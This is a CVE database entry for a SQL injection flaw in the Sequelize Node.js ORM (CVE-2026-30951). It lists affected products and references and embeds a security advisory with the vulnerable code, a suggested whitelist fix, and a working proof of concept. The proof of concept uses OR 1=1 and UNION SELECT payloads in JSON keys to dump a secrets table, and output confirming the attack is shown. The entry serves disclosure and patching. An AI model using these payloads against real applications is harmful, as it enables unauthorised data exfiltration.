CVE-2026-30951
highpriority · track · 40EPSS 0.004 · 38 %ileexploit · PoCDEEURUUSEPSS · scored 2026-10-26
Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
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exploits (2)
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- EQSTLab/CVE-2026-30951Sequelize JSON Cast SQL InjectionPoC · poc_in_github
- yym8538/CVE-2026-30951yym8538/CVE-2026-30951PoC · poc_in_github
affected products (41)
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- Red Hat Ansible Automation Platform 2.6all versionscert_bundDEcpe:/a:redhat:ansible_automation_platform:2.6
- Red Hat OpenShift Container Platformall versionscert_bundDEcpe:/a:redhat:openshift:container_platform
- Red Hat OpenShift Data Foundation 4.16.26all versionscert_bundDEcpe:/a:redhat:openshift:data_foundation_4.16.26
- Red Hat OpenShift Data Foundation 4.17.24all versionscert_bundDEcpe:/a:redhat:openshift:data_foundation_4.17.24
- Red Hat OpenShift Data Foundation 4.18.20all versionscert_bundDEcpe:/a:redhat:openshift:data_foundation_4.18.20
- Red Hat OpenShift Network Observability 1.11.2all versionscert_bundDEcpe:/a:redhat:openshift:network_observability_1.11.2
advisories (2)
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- WID-SEC-W-2026-1160Red Hat Enterprise Linux und Satellite (satellite/iop-remediations-rhel9 container image): Mehrere SchwachstellenDeutsch2026-04-16csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux und Red Hat Satellite ausnutzen, um Informationen offenzulegen oder beliebigen Code auszuführen.
- GHSA-6457-6jrx-69crSequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type2026-03-11ghsa · osvUS
### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install sequelize@6.37.7 sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```
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references (9)
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- https://access.redhat.com/security/cve/cve-2026-30951cnnvd
- https://github.com/sequelize/sequelize/releasesPatchcnnvd
- https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69crcnnvd
- https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69crenisa_euvd
- https://access.redhat.com/errata/RHSA-2026:8498nvd
- https://access.redhat.com/security/cve/CVE-2026-30951nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2446250nvd
- https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69crExploitMitigationVendor Advisorynvd
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